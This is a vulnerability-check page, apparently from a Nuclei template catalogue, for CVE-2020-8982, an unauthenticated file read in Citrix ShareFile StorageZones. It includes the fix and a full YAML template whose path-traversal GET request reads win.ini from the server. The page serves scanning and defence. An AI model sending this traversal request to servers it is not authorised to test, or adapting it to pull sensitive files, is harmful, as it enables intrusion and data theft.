Citrix ShareFile StorageZones <=5.10.x - Arbitrary File Read

highseverity

7.5CVSS score

27.1%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Citrix ShareFile StorageZones (aka storage zones) Controller versions through at least 5.10.x are susceptible to an unauthenticated arbitrary file read vulnerability.

Impact

An attacker can read arbitrary files on the affected system, potentially leading to unauthorized access to sensitive information.

Fix

Upgrade Citrix ShareFile StorageZones to version 5.11 or higher to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/XmlPeek.aspx?dt=\\..\\..\\..\\..\\..\\..\\Windows\\win.ini&x=/validate.ashx?requri
Positive when: contains "bit app support" and "fonts" and "extensions" AND status 200

Run it with nuclei: nuclei -id CVE-2020-8982 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-8982

info:
  name: Citrix ShareFile StorageZones <=5.10.x - Arbitrary File Read
  author: dwisiswant0
  severity: high
  description: Citrix ShareFile StorageZones (aka storage zones) Controller versions through at least 5.10.x are susceptible to an unauthenticated arbitrary file read vulnerability.
  impact: |
    An attacker can read arbitrary files on the affected system, potentially leading to unauthorized access to sensitive information.
  remediation: |
    Upgrade Citrix ShareFile StorageZones to version 5.11 or higher to mitigate the vulnerability.
  reference:
    - https://support.citrix.com/article/CTX269106
    - https://drive.google.com/file/d/1Izd5MF_HHuq8YSwAyJLBErWL_nbe6f9v/view
    - https://www.linkedin.com/posts/jonas-hansen-2a2606b_citrix-sharefile-storage-zones-controller-activity-6663432907455025152-8_w6/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8982
    - https://github.com/0xT11/CVE-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-8982
    cwe-id: CWE-22
    epss-score: 0.27149
    epss-percentile: 0.98066
    cpe: cpe:2.3:a:citrix:sharefile_storagezones_controller:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: citrix
    product: sharefile_storagezones_controller
  tags: cve2020,cve,citrix,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/XmlPeek.aspx?dt=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\win.ini&x=/validate.ashx?requri"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from